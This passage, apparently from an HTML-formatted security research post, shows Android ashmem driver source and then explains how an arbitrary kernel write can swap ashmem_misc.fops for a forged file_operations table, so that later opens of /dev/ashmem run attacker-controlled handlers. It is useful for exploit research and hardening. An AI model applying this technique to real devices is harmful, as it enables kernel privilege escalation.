font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">ashmem_llseek,</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">.mmap</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">=</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">ashmem_mmap,</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">.unlocked_ioctl</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">=</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">ashmem_ioctl,</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">#ifdef</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">CONFIG_COMPAT</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">.compat_ioctl</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">=</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">compat_ashmem_ioctl,</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">#</span><span style="color: #1967d2; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">endif</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">};</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #1967d2; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">static</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #1967d2; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">struct</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">miscdevice</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">ashmem_misc</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">=</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">{</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">.minor</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">=</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">MISC_DYNAMIC_MINOR,</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">.name</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">=</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #188038; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">"ashmem"</span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">,</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">.fops</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">=</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">&ashmem_fops,</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">};</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #1967d2; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">static</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #9334e6; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">int</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">__init</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">ashmem_init(</span><span style="color: #1967d2; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">void</span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">)</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">{</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #9334e6; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">int</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">ret</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">=</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">-ENOMEM;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">...</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">ret</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">=</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">misc_register(&ashmem_misc);</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #1967d2; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">if</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">(unlikely(ret))</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">{</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">pr_err(</span><span style="color: #188038; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">"failed to register misc device!\n"</span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">);</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #1967d2; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">goto</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">out_free2;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">}</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-indent: 36pt;"><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">...</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">}</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">Under normal circumstances, the intended flow is that when userland calls </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">open</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> on </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">/dev/ashmem</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">, a </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">struct file</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> is created, and a pointer to the </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">ashmem_fops</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> table is populated into the struct.</span></p><br /><h2 dir="ltr" style="line-height: 1.38; margin-bottom: 6pt; margin-top: 18pt;"><span face="Arial, sans-serif" style="font-size: 16pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 400; vertical-align: baseline; white-space-collapse: preserve;">Stabilizing The Arbitrary Write</span></h2><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">While the fops table itself is read-only, the </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">ashmem_misc</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> data structure that contains the pointer used for populating future </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">struct file</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">s during an </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">open</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> of </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">/dev/ashmem</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> is not. By replacing </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">ashmem_misc.fops</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> with a pointer to a fake </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">file_operations</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> struct, an attacker can control the </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">file_operations</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> that will be used by files created by </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">open("/dev/ashmem")</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> going forward. This requires forging a replacement </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">ashmem_fops</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">file_operations</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> table in kernel memory so that a future arbitrary-write can write a pointer to that </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">file_operations</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> table into the </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">ashmem_misc</span><span 